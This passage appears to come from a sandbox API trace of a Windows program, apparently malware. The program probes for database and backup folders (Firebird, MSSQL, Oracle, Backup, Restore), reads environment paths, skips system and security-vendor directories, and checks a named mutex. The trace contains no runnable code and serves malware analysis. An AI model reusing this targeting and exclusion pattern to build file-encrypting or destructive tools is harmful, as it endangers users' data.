Shared\\Triedit\\en-US\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꜤR企@\x18?T\x18;")) returned 0xffffffff [0055.255] GetLastError () returned 0x2 [0055.255] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0055.255] GetLastError () returned 0x2 [0055.255] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@ꜤR企@\x18Q\x18j")) returned 0xffffffff [0055.255] GetLastError () returned 0x2 [0055.256] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0055.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@셤R企@\x18?T\x18q")) returned 0xffffffff [0055.256] GetLastError () returned 0x2 [0055.256] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0055.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0055.256] GetLastError () returned 0x2 [0055.256] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@셤R企@\x18?T\x18\x81")) returned 0xffffffff [0055.256] GetLastError () returned 0x2 [0055.256] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0055.257] GetLastError () returned 0x2 [0055.257] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@셤R企@\x18?T\x18\x8f")) returned 0xffffffff [0055.257] GetLastError () returned 0x2 [0055.257] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0055.257] GetLastError () returned 0x2 [0055.257] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.258] GlobalLock (hMem=0x440004) returned 0x550170 [0055.258] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.258] GlobalUnlock (hMem=0x440004) returned 0 [0055.258] GlobalLock (hMem=0x440004) returned 0x550170 [0055.258] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.258] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.258] GlobalUnlock (hMem=0x440004) returned 0 [0055.258] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.258] GlobalUnlock (hMem=0x44000c) returned 0 [0055.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.258] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.258] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0055.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.258] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.258] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.258] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.258] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.258] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.258] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.258] GlobalUnlock (hMem=0x44000c) returned 0 [0055.258] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.258] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.259] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.259] GlobalUnlock (hMem=0x44000c) returned 0 [0055.259] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.259] GlobalUnlock (hMem=0x440004) returned 0 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0055.259] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0055.259] GlobalLock (hMem=0x440004) returned 0x550170 [0055.259] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.259] GlobalUnlock (hMem=0x440004) returned 0 [0055.259] GlobalLock (hMem=0x440004) returned 0x550170 [0055.259] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.259] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.259] GlobalUnlock (hMem=0x440004) returned 0 [0055.259] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.260] GlobalUnlock (hMem=0x44000c) returned 0 [0055.260] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.260] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.260] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.260] GetLastError () returned 0x12 [0055.260] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.260] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.260] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.260] GlobalUnlock (hMem=0x44000c) returned 0 [0055.260] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.260] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.260] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.260] GlobalUnlock (hMem=0x44000c) returned 0 [0055.260] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.260] GlobalUnlock (hMem=0x440004) returned 0 [0055.260] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.260] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.260] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.260] GlobalLock (hMem=0x440004) returned 0x550170 [0055.260] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.260] GlobalUnlock (hMem=0x440004) returned 0 [0055.260] GlobalLock (hMem=0x440004) returned 0x550170 [0055.260] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.261] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.261] GlobalUnlock (hMem=0x440004) returned 0 [0055.261] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.261] GlobalUnlock (hMem=0x44000c) returned 0 [0055.261] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.261] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.261] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.261] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.261] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.261] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.261] GlobalUnlock (hMem=0x44000c) returned 0 [0055.261] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.261] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.261] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.261] GlobalUnlock (hMem=0x44000c) returned 0 [0055.261] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.261] GlobalUnlock (hMem=0x440004) returned 0 [0055.261] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.261] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.261] GetLastError () returned 0x12 [0055.261] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.262] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.262] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0055.262] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0055.262] GlobalLock (hMem=0x440004) returned 0x550170 [0055.262] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.262] GlobalUnlock (hMem=0x440004) returned 0 [0055.262] GlobalLock (hMem=0x440004) returned 0x550170 [0055.262] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.262] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.262] GlobalUnlock (hMem=0x440004) returned 0 [0055.262] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.262] GlobalUnlock (hMem=0x44000c) returned 0 [0055.262] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.262] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.262] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.262] GlobalUnlock (hMem=0x44000c) returned 0 [0055.262] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.262] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.262] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.262] GlobalUnlock (hMem=0x44000c) returned 0 [0055.262] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.262] GlobalUnlock (hMem=0x440004) returned 0 [0055.262] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, 